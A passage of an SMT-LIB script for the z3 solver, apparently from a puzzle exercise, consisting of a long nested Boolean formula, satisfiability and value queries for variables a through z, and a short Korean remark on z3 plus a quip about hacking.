(=> (not (=> (not (=> k true ) ) (=> (or false k ) (not true ) ) ) ) (or (=> (= (=> false r ) (= true false ) ) (not (not false ) ) ) (= (and (or w false ) (not y ) ) (=> (=> true z ) (or true false ) ) ) ) ) ) (not (and (not (and (and (or false false ) true ) false ) ) (=> (not (=> c true ) ) (or false (or z (or c y ) ) ) ) ) ) ) (=> (=> (=> (and (and u true ) (not false ) ) (or (= f false ) (=> true t ) ) ) (not (and (not f ) (= false true ) ) ) ) (or (and (=> (not a ) (= true true ) ) (= (or false i ) (= false x ) ) ) (= (= (=> false false ) (not false ) ) (=> (= l z ) (or d e ) ) ) ) ) ) (= (not (=> (and (or (= (and n false ) (or m q ) ) (and (or false true ) (= true j ) ) ) (not (= (not false ) (= true false ) ) ) ) (= (=> (and (and (= true o ) false ) false ) (not (=> true i ) ) ) (= (not (=> false false ) ) (not (= h true ) ) ) ) ) ) (not (=> (not (or (not false ) (or (= f o ) (not (and m false ) ) ) ) ) (=> (or (=> (= true m ) (=> true false ) ) (= (or true true ) (and true true ) ) ) (not (=> (= false true ) (=> true true ) ) ) ) ) ) ) ) ) ) (or (and (or (= (and (not (= d g ) ) (= (or k false ) (= h true ) ) ) (= (and (= true false ) (=> false true ) ) (=> (=> true true ) (=> false b ) ) ) ) (= (or e (or true (or (not j ) (= (and false v ) (not p ) ) ) ) ) (= (and (= false true ) (= m true ) ) (=> (not true ) (= j false ) ) ) ) ) (=> (not (or (not (or true true ) ) (=> (and false x ) (not true ) ) ) ) (=> (= (or (not true ) (or true true ) ) (= (not true ) (=> true b ) ) ) (not (not (= true true ) ) ) ) ) ) (or (=> (not (or (not (not (not true ) ) ) (=> (and (not false ) (not a ) ) (=> (not w ) (= true y ) ) ) ) ) (not (not (= (=> (and true true ) (=> true false ) ) (not (not true ) ) ) ) ) ) (or (= (and (= (and (and (and (not (=> (not false ) (and l false ) ) ) (not h ) ) (=> true w ) ) (= (=> b true ) (and false true ) ) ) (=> (or (not (and false false ) ) (=> (= false k ) (not g ) ) ) (or (=> (or c false ) (=> true true ) ) (and (= false true ) (or true false ) ) ) ) ) (= (=> (=> (or (= p true ) (= true true ) ) (or (and false false ) (=> c false ) ) ) (or (= false z ) (or (not false ) (or (= false a ) (not false ) ) ) ) ) (and (= (=> (and false true ) (and true true ) ) (=> (or n true ) (or true false ) ) ) (or (=> (and true n ) (= e true ) ) (=> (= false v ) (or y false ) ) ) ) ) ) (= (= (=> (=> (and (and false f ) (not false ) ) (and (or n true ) (or true true ) ) ) (or (= b z ) (or false (or false (and (and true false ) (or false false ) ) ) ) ) ) (= (or (not (=> false true ) ) (or (and true f ) (=> false true ) ) ) (= (= (or l l ) (=> true false ) ) (= (and false true ) (=> true true ) ) ) ) ) (= (and (= (and (and false a ) (=> true false ) ) (= (or false e ) (= true true ) ) ) (not (or (= true true ) (and n false ) ) ) ) (or (=> (or (not true ) (not false ) ) (=> (= h true ) (not l ) ) ) (or (not true ) (or (=> g x ) (and (not false ) (not false ) ) ) ) ) ) ) ) (not (=> (or (= (and (and (not (or v false ) ) (or h true ) ) (not false ) ) (=> (=> (not false ) (not t ) ) (=> (not true ) (= false false ) ) ) ) (or (=> (=> (and (= x w ) (=> false b ) ) (not (and false false ) ) ) (=> (not (not true ) ) (not (=> true true ) ) ) ) (= (=> (=> (and (and false x ) (or false true ) ) (=> (and false false ) (and false e ) ) ) (= (= (or u false ) (and false true ) ) (= (= z false ) (=> b false ) ) ) ) (and (and (or false (or false (or true (or v (or (= false true ) (= k w ) ) ) ) ) ) (not (not false ) ) ) (or (=> true b ) (or true true ) ) ) ) ) ) (not (and (and (= (and (= c o ) (or q c ) ) (= (or h true ) (not true ) ) ) (= (=> (=> false true ) (or false false ) ) (not (= false true ) ) ) ) (=> (and (or (not false ) (=> false false ) ) (= (=> true y ) (and true y ) ) ) (and (and (not (not true ) ) (= false false ) ) (=> p h ) ) ) ) ) ) ) ) ) ) ) (or (=> (= (or (and (= (= (= (not (not false ) ) (and (and (or false false ) true ) true ) ) (=> (= (= true n ) (or true false ) ) (not (not l ) ) ) ) (or (=> (not (=> p x ) ) (and (= false u ) (not false ) ) ) (and (and (not (and true false ) ) (= true false ) ) (or false false ) ) ) ) (or (=> (=> (=> m true ) (and x true ) ) (= (= z false ) (or true true ) ) ) (or (not (not true ) ) (or (and true true ) (or (not true ) (or (and (=> e false ) (or false true ) ) (or (not (= false false ) ) (or (not (=> c false ) ) (and (and (or g false ) false ) false ) ) ) ) ) ) ) ) ) (or (=> (and (not (=> (= (and h false ) (and true false ) ) (= (= false true ) (not true ) ) ) ) (= (or (= (not t ) (= true true ) ) (not (=> false t ) ) ) (=> (=> (or false false ) (= false true ) ) (not (not true ) ) ) ) ) (= (or (= w true ) (or (=> y true ) (or (not h ) (or (= m n ) (or (= t true ) (or (and o b ) (= (and false true ) (=> f s ) ) ) ) ) ) ) ) (=> (and (or (=> false f ) (and false false ) ) (= (not g ) (and m c ) ) ) (not (=> (and s true ) (=> h p ) ) ) ) ) ) (=> (and (=> (=> (=> (=> (not z ) (=> a false ) ) (not (not true ) ) ) (and (or (and true false ) (or false false ) ) (= (not i ) (and false false ) ) ) ) (= (= (or (=> r o ) (= true false ) ) (and (not false ) (=> q true ) ) ) (or (and (=> false true ) (not false ) ) (=> (not false ) (= true u ) ) ) ) ) (not (not (= (and (= false r ) (or true r ) ) (and (and (= true false ) p ) false ) ) ) ) ) (= (or (and (=> (and (and false false ) (= v true ) ) (=> (= true false ) (= true s ) ) ) (= (or (and false true ) (= true true ) ) (or (not true ) (not true ) ) ) ) (and (and (and (or (and (not true ) (or w false ) ) (= (= false false ) (not false ) ) ) (=> m true ) ) (=> false false ) ) (=> (or false true ) (and false true ) ) ) ) (not (=> (and (=> (or t true ) (=> true true ) ) (= (not true ) (or false false ) ) ) (or (not (= false true ) ) (or (and false o ) (not true ) ) ) ) ) ) ) ) ) (or (=> (= (and (or (=> (= (and false false ) (= x p ) ) (and (and (or false false ) true ) t ) ) (= (and (=> u false ) (=> false true ) ) (not (not true ) ) ) ) (= (or (= (and z c ) (= r true ) ) (= (= u false ) (=> true false ) ) ) (and (or (not true ) (or false true ) ) (not (=> true v ) ) ) ) ) (not (or (and (or (not false ) (or f k ) ) (not (not false ) ) ) (=> (and (not p ) (= u t ) ) (=> (= true m ) (= u false ) ) ) ) ) ) (=> (not (or (= (= c v ) (or true true ) ) (or (= (or true false ) (and false false ) ) (= (not (=> a n ) ) (=> (= true true ) (and a false ) ) ) ) ) ) (or (and (=> (=> (not h ) (or false true ) ) (or (and true false ) (not i ) ) ) (=> (=> (or false true ) (and true w ) ) (=> (=> false true ) (=> d true ) ) ) ) (or (and (= (= false true ) (and j false ) ) (=> (or false true ) (and false false ) ) ) (=> (and (and (=> m true ) false ) k ) (and (=> c true ) (or true false ) ) ) ) ) ) ) (= (=> (not (and (or true (or a (or (= f c ) (or (not s ) (= false false ) ) ) ) ) (=> (=> (or false false ) (=> h n ) ) (=> (or true true ) (and true c ) ) ) ) ) (=> (not (or (not (not true ) ) (not (not false ) ) ) ) (and (not (= (= true t ) (=> true b ) ) ) (=> (or (= true true ) (= true true ) ) (= (and true q ) (not false ) ) ) ) ) ) (and (and (=> (= (not (= (and false y ) (= s false ) ) ) (= (= (not true ) (and s true ) ) (not (= false true ) ) ) ) (not (and (or (=> true true ) (and true false ) ) (= (not false ) (not true ) ) ) ) ) (or (and (not (= u false ) ) (or (= false true ) (and true false ) ) ) (= (not (not true ) ) (or (= false true ) (and true true ) ) ) ) ) (=> (and (=> (or false q ) (= true false ) ) (=> (not false ) (not a ) ) ) (and (and (and (and false true ) true ) true ) (not (not false ) ) ) ) ) ) ) ) (=> (and (=> (=> (=> (=> (not (not (and false true ) ) ) (=> (= (= false false ) (or true false ) ) (not (=> e true ) ) ) ) (= (=> (or (=> h false ) (=> true false ) ) (and (= true r ) (not false ) ) ) (=> (= (not false ) (or y true ) ) (and (and (not false ) false ) j ) ) ) ) (= (not (or (and true false ) (or false (or w (=> (or false false ) (not z ) ) ) ) ) ) (and (=> (not (not k ) ) (= (=> true true ) (or f true ) ) ) (= (= (and true false ) (=> f true ) ) (=> (or true false ) (= false g ) ) ) ) ) ) (not (not (not (and (and (and (and (and x true ) (or false true ) ) false ) true ) (or true true ) ) ) ) ) ) (= (not (not (or (not (= (or g false ) (or o false ) ) ) (and (and (and (not (or false false ) ) k ) false ) (not true ) ) ) ) ) (and (and (and (and (not (and (and (and (and (=> true true ) (or true z ) ) true ) y ) (not false ) ) ) (= (and false e ) (not false ) ) ) (= (= m false ) (or false g ) ) ) (= (= (not true ) (not f ) ) (= (or true true ) (and true w ) ) ) ) (=> (not (=> (not (=> g e ) ) (=> (and true true ) (and true k ) ) ) ) (= (= (not (= false true ) ) (= (not z ) (= true true ) ) ) (= (= (= e false ) (= false k ) ) (not (=> true g ) ) ) ) ) ) ) ) (=> (= (= (= (not (not (not (or false j ) ) ) ) (=> (= (= (or false false ) (=> true false ) ) (= (= true r ) (= t true ) ) ) (=> (= (=> d true ) (or true true ) ) (not (not true ) ) ) ) ) (or (and (=> (or (and false false ) (not u ) ) (not (not v ) ) ) (= (not (and false false ) ) (not (=> false d ) ) ) ) (and (=> (=> (and k false ) (=> y s ) ) (and (or k p ) (or true false ) ) ) (not (= (and true t ) (and true n ) ) ) ) ) ) (=> (not (and (= (and (and p x ) (or false false ) ) (or (=> true true ) (=> true u ) ) ) (or (and (and false false ) (=> true true ) ) (and (= true false ) (= false o ) ) ) ) ) (= (= (and (not (= true true ) ) (not (and b j ) ) ) (not (not (not false ) ) ) ) (and (and (or (and true false ) (not false ) ) (= (or true j ) (= true false ) ) ) (or (and false b ) (or (not i ) (=> (or u false ) (and true true ) ) ) ) ) ) ) ) (and (and (and (and (or (= (= false u ) (=> false false ) ) (or (and (=> false true ) (not false ) ) (not (and (=> false true ) (not true ) ) ) ) ) (= (not (and false o ) ) (=> (or false true ) (and true false ) ) ) ) (not (not (not true ) ) ) ) (= (not (or (and (not s ) (or false false ) ) (=> (not m ) (and f false ) ) ) ) (and (and (and (or (and a false ) (= true true ) ) (=> (and false h ) (and false true ) ) ) (=> (and false false ) (= true false ) ) ) (not (= false false ) ) ) ) ) (=> (or (not (and (not (and l true ) ) (=> (and false true ) (or i true ) ) ) ) (= (=> (or (=> g u ) (or t false ) ) (or (= m false ) (not b ) ) ) (= (and (and i false ) (or w x ) ) (not (=> y true ) ) ) ) ) (not (or (= (not (or false x ) ) (not (= false e ) ) ) (=> (not (=> m m ) ) (and (= c true ) (not d ) ) ) ) ) ) ) ) ) ) (not (not (and (= (not (= (not (= (or (= false d ) (=> p y ) ) (and (and false true ) (=> true true ) ) ) ) (=> (= (or (and false false ) (or a l ) ) (or (= t c ) (or s e ) ) ) (=> (and (or r w ) (or y false ) ) (not (not true ) ) ) ) ) ) (and (and (or (=> (not (= (= true t ) (= h false ) ) ) (and (or (and y true ) (= false true ) ) (=> (= false false ) (and true r ) ) ) ) (= (= (or (= a false ) (= false false ) ) (not (=> false true ) ) ) (and (=> (=> t false ) (=> i true ) ) (or (= true a ) (= g true ) ) ) ) ) (or (not (= (and false false ) (= false true ) ) ) (=> (=> (= false n ) (=> true true ) ) (=> (= false false ) (= t true ) ) ) ) ) (= (not (not (not false ) ) ) (= (= (and true b ) (not q ) ) (not (= b false ) ) ) ) ) ) (not (= (and (not (or (=> d q ) (or (=> u false ) (= (not true ) (=> false false ) ) ) ) ) (=> (=> (= (not false ) (=> false true ) ) (=> (=> true m ) (and false true ) ) ) (= (and (= p n ) (= false s ) ) (= (and false false ) (not l ) ) ) ) ) (not (=> (and (not (= q true ) ) (=> (or false true ) (= false true ) ) ) (and (or (= true false ) (or s l ) ) (= (or false false ) (or false c ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) ) 
)	
	
(assert solve)
(check-sat)
(get-value (a))
(get-value (b))
(get-value (c))
(get-value (d))
(get-value (e))
(get-value (f))
(get-value (g))
(get-value (h))
(get-value (i))
(get-value (j))
(get-value (k))
(get-value (l))
(get-value (m))
(get-value (n))
(get-value (o))
(get-value (p))
(get-value (q))
(get-value (r))
(get-value (s))
(get-value (t))
(get-value (u))
(get-value (v))
(get-value (w))
(get-value (x))
(get-value (y))
(get-value (z))

z3 solver가 자동으로 복잡한 식을 참으로 만족하는 입력을 자동으로 계산합니다.

hacking is much more about attitude than about aptitude.